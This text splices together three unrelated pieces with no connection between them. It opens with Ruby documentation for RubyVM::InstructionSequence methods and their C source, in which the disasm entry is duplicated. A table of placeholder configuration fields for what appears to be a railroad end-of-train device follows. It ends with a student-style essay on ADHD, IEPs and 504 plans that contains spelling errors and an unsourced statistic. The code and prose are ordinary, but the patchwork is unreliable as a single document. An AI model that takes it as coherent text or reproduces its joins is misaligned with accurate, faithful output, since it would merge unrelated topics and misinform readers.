RubyVM::InstructionSequence.compile("a = 1 + 2") #=> <RubyVM::InstructionSequence:<compiled>@<compiled>> path = "test.rb" RubyVM::InstructionSequence.compile(File.read(path), path, File.expand_path(path)) #=> <RubyVM::InstructionSequence:<compiled>@test.rb:1> path = File.expand_path("test.rb") RubyVM::InstructionSequence.compile(File.read(path), path, path) #=> <RubyVM::InstructionSequence:<compiled>@/absolute/path/to/test.rb:1>
static VALUE iseqw_s_compile(int argc, VALUE *argv, VALUE self) { VALUE src, file = Qnil, path = Qnil, line = INT2FIX(1), opt = Qnil; int i; i = rb_scan_args(argc, argv, "1*:", &src, NULL, &opt); if (i > 4+NIL_P(opt)) rb_error_arity(argc, 1, 5); switch (i) { case 5: opt = argv[--i]; case 4: line = argv[--i]; case 3: path = argv[--i]; case 2: file = argv[--i]; } if (NIL_P(file)) file = rb_fstring_lit("<compiled>"); if (NIL_P(path)) path = file; if (NIL_P(line)) line = INT2FIX(1); Check_Type(path, T_STRING); Check_Type(file, T_STRING); return iseqw_new(rb_iseq_compile_with_option(src, file, path, line, opt)); }
Returns the instruction sequence containing the given proc or method.
For example, using irb:
# a proc > p = proc { num = 1 + 2 } > RubyVM::InstructionSequence.of(p) > #=> <RubyVM::InstructionSequence:block in irb_binding@(irb)> # for a method > def foo(bar); puts bar; end > RubyVM::InstructionSequence.of(method(:foo)) > #=> <RubyVM::InstructionSequence:foo@(irb)>
Using ::compile_file:
# /tmp/iseq_of.rb def hello puts "hello, world" end $a_global_proc = proc { str = 'a' + 'b' } # in irb > require '/tmp/iseq_of.rb' # first the method hello > RubyVM::InstructionSequence.of(method(:hello)) > #=> #<RubyVM::InstructionSequence:0x007fb73d7cb1d0> # then the global proc > RubyVM::InstructionSequence.of($a_global_proc) > #=> #<RubyVM::InstructionSequence:0x007fb73d7caf78>
static VALUE iseqw_s_of(VALUE klass, VALUE body) { const rb_iseq_t *iseq = NULL; if (rb_obj_is_proc(body)) { iseq = vm_proc_iseq(body); if (!rb_obj_is_iseq((VALUE)iseq)) { iseq = NULL; } } else if (rb_obj_is_method(body)) { iseq = rb_method_iseq(body); } else if (rb_typeddata_is_instance_of(body, &iseqw_data_type)) { return body; } return iseq ? iseqw_new(iseq) : Qnil; }
Returns the absolute path of this instruction sequence.
nil
if the iseq was evaluated from a string.
For example, using ::compile_file:
# /tmp/method.rb def hello puts "hello, world" end # in irb > iseq = RubyVM::InstructionSequence.compile_file('/tmp/method.rb') > iseq.absolute_path #=> /tmp/method.rb
static VALUE iseqw_absolute_path(VALUE self) { return rb_iseq_realpath(iseqw_check(self)); }
Returns the base label of this instruction sequence.
For example, using irb:
iseq = RubyVM::InstructionSequence.compile('num = 1 + 2') #=> <RubyVM::InstructionSequence:<compiled>@<compiled>> iseq.base_label #=> "<compiled>"
Using ::compile_file:
# /tmp/method.rb def hello puts "hello, world" end # in irb > iseq = RubyVM::InstructionSequence.compile_file('/tmp/method.rb') > iseq.base_label #=> <main>
static VALUE iseqw_base_label(VALUE self) { return rb_iseq_base_label(iseqw_check(self)); }
Returns the instruction sequence as a String
in human readable
form.
puts RubyVM::InstructionSequence.compile('1 + 2').disasm
Produces:
== disasm: <RubyVM::InstructionSequence:<compiled>@<compiled>>========== 0000 trace 1 ( 1) 0002 putobject 1 0004 putobject 2 0006 opt_plus <ic:1> 0008 leave
static VALUE iseqw_disasm(VALUE self) { return rb_iseq_disasm(iseqw_check(self)); }
Returns the instruction sequence as a String
in human readable
form.
puts RubyVM::InstructionSequence.compile('1 + 2').disasm
Produces:
== disasm: <RubyVM::InstructionSequence:<compiled>@<compiled>>========== 0000 trace 1 ( 1) 0002 putobject 1 0004 putobject 2 0006 opt_plus <ic:1> 0008 leave
static VALUE iseqw_disasm(VALUE self) { return rb_iseq_disasm(iseqw_check(self)); }
Iterate all direct child instruction sequences. Iteration order is implementation/version defined so that people should not rely on the order.
static VALUE iseqw_each_child(VALUE self) { const rb_iseq_t *iseq = iseqw_check(self); iseq_iterate_children(iseq, yield_each_children, NULL); return self; }
Evaluates the instruction sequence and returns the result.
RubyVM::InstructionSequence.compile("1 + 2").eval #=> 3
static VALUE iseqw_eval(VALUE self) { return rb_iseq_eval(iseqw_check(self)); }
Returns the number of the first source line where the instruction sequence was loaded from.
For example, using irb:
iseq = RubyVM::InstructionSequence.compile('num = 1 + 2') #=> <RubyVM::InstructionSequence:<compiled>@<compiled>> iseq.first_lineno #=> 1
static VALUE iseqw_first_lineno(VALUE self) { return rb_iseq_first_lineno(iseqw_check(self)); }
Returns a human-readable string representation of this instruction sequence, including the label and path.
static VALUE iseqw_inspect(VALUE self) { const rb_iseq_t *iseq = iseqw_check(self); const struct rb_iseq_constant_body *const body = iseq->body; VALUE klass = rb_class_name(rb_obj_class(self)); if (!body->location.label) { return rb_sprintf("#<%"PRIsVALUE": uninitialized>", klass); } else { return rb_sprintf("<%"PRIsVALUE":%"PRIsVALUE"@%"PRIsVALUE":%d>", klass, body->location.label, rb_iseq_path(iseq), FIX2INT(rb_iseq_first_lineno(iseq))); } }
Returns the label of this instruction sequence.
<main>
if it's at the top level,
<compiled>
if it was evaluated from a string.
For example, using irb:
iseq = RubyVM::InstructionSequence.compile('num = 1 + 2') #=> <RubyVM::InstructionSequence:<compiled>@<compiled>> iseq.label #=> "<compiled>"
Using ::compile_file:
# /tmp/method.rb def hello puts "hello, world" end # in irb > iseq = RubyVM::InstructionSequence.compile_file('/tmp/method.rb') > iseq.label #=> <main>
static VALUE iseqw_label(VALUE self) { return rb_iseq_label(iseqw_check(self)); }
Returns the path of this instruction sequence.
<compiled>
if the iseq was evaluated from a string.
For example, using irb:
iseq = RubyVM::InstructionSequence.compile('num = 1 + 2') #=> <RubyVM::InstructionSequence:<compiled>@<compiled>> iseq.path #=> "<compiled>"
Using ::compile_file:
# /tmp/method.rb def hello puts "hello, world" end # in irb > iseq = RubyVM::InstructionSequence.compile_file('/tmp/method.rb') > iseq.path #=> /tmp/method.rb
static VALUE iseqw_path(VALUE self) { return rb_iseq_path(iseqw_check(self)); }
Returns an Array with 14 elements representing the instruction sequence with the following data:
A string identifying the data format. Always
YARVInstructionSequence/SimpleDataFormat
.
The major version of the instruction sequence.
The minor version of the instruction sequence.
A number identifying the data format. Always 1.
A hash containing:
:arg_size
the total number of arguments taken by the method or the block (0 if iseq doesn't represent a method or block)
:local_size
the number of local variables + 1
:stack_max
used in calculating the stack depth at which a SystemStackError is thrown.
The name of the context (block, method, class, module, etc.) that this instruction sequence belongs to.
<main>
if it's at the top level,
<compiled>
if it was evaluated from a string.
The relative path to the Ruby file where the instruction sequence was loaded from.
<compiled>
if the iseq was evaluated from a string.
The absolute path to the Ruby file where the instruction sequence was loaded from.
nil
if the iseq was evaluated from a string.
The number of the first source line where the instruction sequence was loaded from.
The type of the instruction sequence.
Valid values are :top
, :method
,
:block
, :class
, :rescue
,
:ensure
, :eval
, :main
, and
plain
.
An array containing the names of all arguments and local variables as symbols.
An Hash object containing parameter information.
More info about these values can be found in vm_core.h
.
A list of exceptions and control flow operators (rescue, next, redo, break, etc.).
An array of arrays containing the instruction names and operands that make up the body of the instruction sequence.
Note that this format is MRI specific and version dependent.
static VALUE iseqw_to_a(VALUE self) { const rb_iseq_t *iseq = iseqw_check(self); return iseq_data_to_ary(iseq); }
Returns serialized iseq binary format data as a String object. A corresponding iseq object is created by ::load_from_binary method.
String extra_data will be saved with binary data. You can access this data with ::load_from_binary_extra_data.
Note that the translated binary data is not portable. You can not move this binary data to another machine. You can not use the binary data which is created by another version/another architecture of Ruby.
static VALUE iseqw_to_binary(int argc, VALUE *argv, VALUE self) { VALUE opt = !rb_check_arity(argc, 0, 1) ? Qnil : argv[0]; return rb_iseq_ibf_dump(iseqw_check(self), opt); }
Return trace points in the instruction sequence. Return an array of [line, event_symbol] pair.
static VALUE iseqw_trace_points(VALUE self) { const rb_iseq_t *iseq = iseqw_check(self); const struct rb_iseq_constant_body *const body = iseq->body; unsigned int i; VALUE ary = rb_ary_new(); for (i=0; i<body->insns_info.size; i++) { const struct iseq_insn_info_entry *entry = &body->insns_info.body[i]; if (entry->events) { push_event_info(iseq, entry->events, entry->line_no, ary); } } return ary; }


| Show Battery Readiness: | | ~shwBattRdy~ |
| Battery Ready Text: | | ~battRdyTxt~ |
| Battery Not Ready Text: | | ~battNotRdyTxt~ |
| Wifi Password: | | ~wifiPass~ |
| Wifi Enabled: | | ~wifiEnbl~ |
| Generator Exists: | | ~genExst~ |
| Generator Valve Exists: | | ~genVlvExst~ |
| HVM Enabled: | | ~hvmExst~ |
| Pipe Config: | | ~pipeCfg~ |
| Day Light Sensor (Inactive Threshold): | | ~liteToDrkThrsh~ |
| Day Light Sensor (Active Threshold): | | ~drkToLiteThrsh~ |
| Board Serial: | | ~brdSerial~ |
| Model Number: | | ~mdlNum~ |
| Railroad ID: | | ~rrId~ |
| EOT ID: | | ~eotId~ |
| Call Wake Time: | | ~callWakeTime~ |
| Call Sleep Time: | | ~callSlpTime~ |
| Calibration Reminder: | | ~calEnbl~ |
| Calibration Date: | | ~calDate~ |
| Calibration Location: | | ~calLoc~ |
| Calibration Technician: | | ~calTech~ |
| Battery Change Date: | | ~battRplcDate~ |
| Battery Change Location: | | ~battRplcLoc~ |
| Battery Change Technician: | | ~battRplcTech~ |
| EOT Enabled: | | ~eotEnbl~ |


ADHD stands for Attention Deficit Hyperactivity Disorder.
Symptoms of ADHD are broken up into three groups. These groups and Symptoms are known as:
An Individualized Education Program (IEP) Is a legal document that lays out a special education plan in order to accommodate a child's exact needs. One student’s IEP could look totally different than the nexts. All public schools have this program in place; this is covered by the Special Education Law. Obtaining an IEP is a large process. This begins with an evaluation to check if the student qualifies, while also measuring their strengths and weaknesses. An IEP can stay with a student up until college; with yearly meetings, reports and evaluation checking up on the progress and making any adjustments needed to the IEP.
504 plans are blueprints that public schools make in order to insure that students with disabilities are getting the same rights as others. This is covered under section 504 of Rehabilitation act, which is a civil rights law. What a 504 plan does is give students special accommodations such as extended time on tests or smaller class sizes. There is many ways to qualify for a 504 plan. Often schools look at multiple sources. For example they might do a medical diagnosis, check grades and ask for teacher recommendations. Unlike an IEP, a full evaluation is not required.
Here is what I would like do do in order to help students with ADHD:
Although there are systems in public schools that help students with ADHD and other disabilities, these programs are often difficult to get into and work more on accommodating the needs of the student rather than helping them with skill work.
What I plan on creating is a class where students with ADHD or who inhibit symptoms of sort can go to and work on skills that they may have a hard time with due to these symptoms. Some skill work may include: organization, attentiveness, techniques to deal with impulsivity, and more.
Students who are not apart of the class but who excel academically can come in to speak with the class about techniques they found that helps them and struggles they also face in school.
Lastly, studies have shown that 64% of indivisuals with ADHD have another disorder such as depression, anxiety, oppositional defiant disorder, and more. It has been proven that psychotherapy is an effective way of dealing with these disorders; therefore, I plan to have guidance counselors come in weekly and do both private and group psychotherapy.
Here are some resources I used to get my information
Symptoms of ADHD
Information on IEP
Information on Section 504
Why Phychotherapy is Importent